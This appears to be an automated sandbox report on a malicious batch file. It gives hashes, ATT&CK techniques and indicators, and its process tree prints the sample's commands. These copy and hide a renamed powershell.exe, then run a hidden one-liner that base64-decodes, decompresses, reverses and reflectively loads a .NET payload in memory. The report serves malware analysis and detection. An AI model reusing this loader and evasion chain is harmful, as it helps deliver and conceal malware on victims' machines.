12ea5712edf3120754d3f1ce995f46bf855a4eb47ed0830a574068a584fae628

General

Target

Vuupkzeyx.bat
Size

1.7MB
MD5

cc0e4b5bdfc8fea0703e0e1f2342c915
SHA1

d14c623ce04289e2a4024381c2e99c9ff20a84cc
SHA256

12ea5712edf3120754d3f1ce995f46bf855a4eb47ed0830a574068a584fae628
SHA512

3182d67031dbc35395adf93d6ec3dc5b6cdbcb286f87242ba2bb54090a82f80a2247a277fe6c1d050cd3ac5cb00e1330681e1a89d9887249e498cf6da351b771
SSDEEP

24576:hKvkZKBxfTCRFcjanaAKbySo1RfOIPC2ZH5yLJgQiL44e/b4fPh9y0qV5mPRswMD:svo2pJa9Ow50dmbMmCiw

Score

8^/10

discovery evasion

Malware Config

Signatures

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2360	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
2536	Vuupkzeyx.bat.Lau

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Vuupkzeyx.bat.Lau

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2536	Vuupkzeyx.bat.Lau

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2536	Vuupkzeyx.bat.Lau

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2536	Vuupkzeyx.bat.Lau

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1852 wrote to memory of 2332	1852	cmd.exe	32
PID 1852 wrote to memory of 2332	1852	cmd.exe	32
PID 1852 wrote to memory of 2332	1852	cmd.exe	32
PID 1852 wrote to memory of 2344	1852	cmd.exe	33
PID 1852 wrote to memory of 2344	1852	cmd.exe	33
PID 1852 wrote to memory of 2344	1852	cmd.exe	33
PID 1852 wrote to memory of 2492	1852	cmd.exe	34
PID 1852 wrote to memory of 2492	1852	cmd.exe	34
PID 1852 wrote to memory of 2492	1852	cmd.exe	34
PID 1852 wrote to memory of 2360	1852	cmd.exe	35
PID 1852 wrote to memory of 2360	1852	cmd.exe	35
PID 1852 wrote to memory of 2360	1852	cmd.exe	35
PID 1852 wrote to memory of 2536	1852	cmd.exe	36
PID 1852 wrote to memory of 2536	1852	cmd.exe	36
PID 1852 wrote to memory of 2536	1852	cmd.exe	36
PID 1852 wrote to memory of 2536	1852	cmd.exe	36

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2360	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1852
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:2344
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat.Lau
  2⤵
  PID:2492
- C:\Windows\system32\attrib.exe
  attrib +s +h C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat.Lau
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:2360
- C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat.Lau
  C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat.Lau -WindowStyle hidden -command "$Eshlfusgtgb = get-content 'C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat' | Select-Object -Last 1; $Kgebqo = [System.Convert]::FromBase64String($Eshlfusgtgb);$Gvjqxfpp = New-Object System.IO.MemoryStream( , $Kgebqo );$Cycjrzzlzy = New-Object System.IO.MemoryStream;$Bibxmqhypv = New-Object System.IO.Compression.GzipStream $Gvjqxfpp, ([IO.Compression.CompressionMode]::Decompress);$Bibxmqhypv.CopyTo( $Cycjrzzlzy );$Bibxmqhypv.Close();$Gvjqxfpp.Close();[byte[]] $Kgebqo = $Cycjrzzlzy.ToArray();[Array]::Reverse($Kgebqo); $Jiasfyokxtu = [System.Threading.Thread]::GetDomain().Load($Kgebqo); $Viwsypp = $Jiasfyokxtu.EntryPoint; $Viwsypp.DeclaringType.InvokeMember($Viwsypp.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)| Out-Null"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

2

T1564

Hidden Files and Directories

2

T1564.001

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat.Lau

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2536-5-0x0000000074001000-0x0000000074002000-memory.dmp

Filesize
4KB

Download
memory/2536-6-0x0000000074000000-0x00000000745AB000-memory.dmp

Filesize
5.7MB

Download
memory/2536-7-0x0000000074000000-0x00000000745AB000-memory.dmp

Filesize
5.7MB

Download
memory/2536-8-0x0000000074000000-0x00000000745AB000-memory.dmp

Filesize
5.7MB

Download
memory/2536-9-0x0000000074000000-0x00000000745AB000-memory.dmp

Filesize
5.7MB

Download
memory/2536-10-0x0000000074000000-0x00000000745AB000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads